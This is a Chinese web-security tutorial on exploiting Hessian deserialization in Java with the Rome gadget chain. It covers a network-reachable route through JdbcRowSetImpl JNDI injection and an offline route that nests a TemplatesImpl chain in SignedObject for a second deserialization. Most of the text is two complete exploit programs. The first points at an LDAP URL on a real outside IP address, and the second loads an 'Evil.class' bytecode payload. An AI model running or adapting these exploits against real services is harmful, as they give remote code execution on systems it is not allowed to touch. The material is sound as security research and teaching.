【Web】浅聊Hessian反序列化之打Rome出网&不出网
正如我们前文所说,当Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而put方法又会牵引出各种相关利用链打法。map.put对于HashMap会触发key.hashCode()。利用到hashCode的链子有很多,如CC6和Rome相关链,但很遗憾的是CC6因为一些原因无法使用,后面会出一篇文章专门讲其原因。本文主要讲一下Rome出网和不出网的两种利用方式。
目录
前文:【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识
前言
正如我们前文所说,当Hessian反序列化Map
类型的对象的时候,会自动调用其put
方法,而put方法又会牵引出各种相关利用链打法。map.put对于HashMap会触发key.hashCode()。
利用到hashCode的链子有很多,如CC6和Rome相关链,但很遗憾的是CC6因为一些原因无法使用,后面会出一篇文章专门讲其原因。本文主要讲一下Rome出网和不出网的两种利用方式。
出网——JdbcRowSetImpl
只需要找一条入口为hashcode()的反序列化链即可,比如我们常用的ROME链
简单回顾下,Rome 的链核心是 ToStringBean,这个类的 toString
方法会调用他封装类的全部无参 getter 方法,可以借助 JdbcRowSetImpl#getDatabaseMetaData()
方法触发 JNDI 注入。
而Rome链的触发点是EqualsBean#hashCode,这就完美贴合了我们的需求
(参考文章:【Web】浅聊Java反序列化之Rome——关于其他利用链)
EXP
package com.Hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Hessian_Rome implements Serializable {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://124.222.136.33:1337/#suibian";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");
byte[] s = serialize(hashMap);
deserialize(s);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
不出网——SignedObject
打二次反序列化
因为种种限制,TemplatesImpl不能依靠Hessian反序列化任意加载类(后面的文章会专门写,这里按下不表),面对不出网的情况,一个常见替代的方式是使用 java.security.SignedObject
进行二次反序列化。
SignedObject,顾名思义,推测其主要用途是对某个对象进行数字签名,以确保数据的完整性和真实性。通过将对象使用私钥进行数字签名,接收方可以使用对应的公钥来验证该对象的签名是否有效,从而确保数据在传输或存储过程中没有被篡改。
关于SignedObject,先看其构造方法
public SignedObject(Serializable object, PrivateKey signingKey,
Signature signingEngine)
throws IOException, InvalidKeyException, SignatureException {
// creating a stream pipe-line, from a to b
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new ObjectOutputStream(b);
// write and flush the object content to byte array
a.writeObject(object);
a.flush();
a.close();
this.content = b.toByteArray();
b.close();
// now sign the encapsulated object
this.sign(signingKey, signingEngine);
}
总的来说,这段代码实现了将待签名的对象转换为字节数组,并使用指定的私钥和签名引擎对该字节数组进行签名的过程。这样就创建了一个带有数字签名的 SignedObject
对象,可以用于确保对象的完整性和真实性。
下面的EXP中给了这样一段构造,我们顺带看一下
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(map,privateKey,signingEngine);
给到一点简单解读:
- 首先通过
KeyPairGenerator
类生成用于数字签名的密钥对,这里使用的是 DSA(Digital Signature Algorithm)算法,并将密钥长度设置为 1024 比特。 - 接着生成密钥对,其中包括一个私钥和一个公钥,用于数字签名和验证。
- 使用
Signature
类实例化一个用于数字签名的引擎,同样选择了 DSA 算法。 - 最后,创建了一个
SignedObject
对象,该对象包含了要被签名的map
对象、私钥和数字签名引擎。通过这一步,map
对象被使用私钥进行数字签名,生成一个带有签名信息的SignedObject
OK点到为止,我们接下来看
打二次反序列化的核心:SignedObject#getObject
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
注意到getObject为一个无参getter,且该方法会从流里使用原生反序列化读取数据,这就造成了二次反序列化,从一个原生的readObject入口开始打链
注意,二次反序列化是原生反序列化,可以打TemplatesImpl,下面给出示例
EXP
package com.Hessian;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;
public class Hessian_SignedObject {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\21135\\Desktop\\RuoYi-v4.7.1\\Rome\\target\\classes\\com\\rome\\Evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setValue(obj, "_bytecodes", new byte[][] {code});
setValue(obj, "_name", "xxx");
setValue(obj, "_tfactory", new TransformerFactoryImpl());
ToStringBean bean = new ToStringBean(Templates.class, obj);
ToStringBean fakebean= new ToStringBean(String.class, obj);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);
HashMap map = new HashMap();
map.put(equalsBean, 1); // 注意put的时候也会执行hash
setValue(equalsBean, "_obj", bean);
//此处写法较为固定,用于初始化SignedObject类
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(map,privateKey,signingEngine);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap hashMap = makeMap(equalsBean2, "xxx");
byte[] payload = Hessian2_Serial(hashMap);
Hessian2_Deserial(payload);
}
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}
public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static void setValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
}
更多推荐
所有评论(0)